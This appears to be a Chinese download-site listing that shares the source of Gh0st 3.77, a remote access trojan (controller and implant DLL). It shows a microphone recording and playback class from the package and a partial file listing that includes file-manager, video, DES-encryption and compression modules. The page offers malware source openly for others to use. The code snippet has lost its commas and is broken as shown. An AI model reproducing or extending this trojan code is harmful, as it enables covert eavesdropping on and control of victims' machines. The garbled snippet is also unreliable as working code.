资源简介

GH0ST3.77主控源码+DLL源码其他下载分太多了,我这里少点儿分享给大家吧,下载这个花了我10分。

资源截图

代码片段和文件信息

// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////

#include “Audio.h“

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAudio::CAudio()
{
m_hEventWaveIn = CreateEvent(NULL false false NULL);
m_hStartRecord = CreateEvent(NULL false false NULL);
m_hThreadCallBack = NULL;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)

m_bIsWaveInUsed = false;
m_bIsWaveOutUsed = false;

for (int i = 0; i < 2; i++)
{
m_lpInAudioData[i] = new BYTE[m_nBufferLength];
m_lpInAudioHdr[i] = new WAVEHDR;

m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
m_lpOutAudioHdr[i] = new WAVEHDR;
}

memset(&m_GSMWavefmt 0 sizeof(GSM610WAVEFORMAT));

m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
}

CAudio::~CAudio()
{
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack -1);
}

if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}


for (int i = 0; i < 2; i++)
{
delete [] m_lpInAudioData[i];
delete m_lpInAudioHdr[i];

delete [] m_lpOutAudioData[i];
delete m_lpOutAudioHdr[i];
}

CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}

LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
{
// Not open WaveIn yet so open it...
if (!m_bIsWaveInUsed && !InitializeWaveIn())
return NULL;

if (lpdwBytes == NULL)
return NULL;

SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn INFINITE);
*lpdwBytes = m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}

bool CAudio::playBuffer(LPBYTE lpWaveBuffer DWORD dwBytes)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut())
return NULL;

for (int i = 0; i < dwBytes; i += m_nBufferLength)
{
memcpy(m_lpOutAudioData[m_nWaveOutIndex] lpWaveBuffer m_nBufferLength);
waveOutWrite(m_hWaveOut m_lpOutAudioHdr[m_nWaveOutIndex] sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}

bool CAudio::InitializeWaveIn()
{
if (!waveInGetNumDevs())
return false;

MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = CreateThread(NULL 0

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件      90476  2010-12-06 19:33  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\Bin\Sound\Login.wav

     文件      88514  2010-12-06 19:33  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\Bin\Sound\Offline.wav

     文件       5195  2008-03-27 09:23  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\Audio.cpp

     文件       1280  2008-03-19 00:31  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\Audio.h

     文件       1810  2008-03-25 01:09  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\CursorInfo.h

     文件       8854  2012-04-27 20:18  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\DES.CPP

     文件        175  2012-04-27 20:19  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\DES.H

     文件       8882  2012-04-27 20:19  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\DES2.CPP

     文件        204  2012-04-27 20:19  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\DES2.H

     文件       4627  2013-08-03 22:26  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\macros.h

     文件       3636  2008-03-26 03:07  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\VideoCodec.h

     文件      13375  2010-04-18 10:58  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\zlib\zconf.h

     文件      79564  2010-04-19 21:12  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\zlib\zlib.h

     文件     116858  2011-07-09 22:10  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\zlib\zlib.lib

     文件       3600  2010-07-22 16:15  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\AudioDlg.cpp

     文件       1652  2008-03-19 11:10  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\AudioDlg.h

     文件       1595  2008-03-26 16:55  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\BmpToAvi.cpp

     文件        796  2008-03-26 16:57  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\BmpToAvi.h

     文件       2735  2012-04-24 22:33  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\ChangeGroup.cpp

     文件       1375  2012-04-24 22:32  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\ChangeGroup.h

     文件      59750  2002-12-20 14:03  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\BtnST.cpp

     文件       9972  2002-12-20 14:01  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\BtnST.h

     文件       1058  2006-09-06 16:43  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\HoverEdit.cpp

     文件       2457  2006-09-06 16:46  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\HoverEdit.h

     文件       2941  2008-01-26 23:42  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\WinXPButtonST.cpp

     文件       1571  2008-01-26 23:32  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\WinXPButtonST.h

     文件      79441  2006-05-16 21:05  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\CustomTabCtrl.cpp

     文件       8596  2006-05-11 22:15  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\CustomTabCtrl.h

     文件       1069  2008-01-18 12:50  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\encode.h

     文件      72719  2013-08-04 00:08  GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\FileManagerDlg.cpp

............此处省略509个文件信息

评论

共有 条评论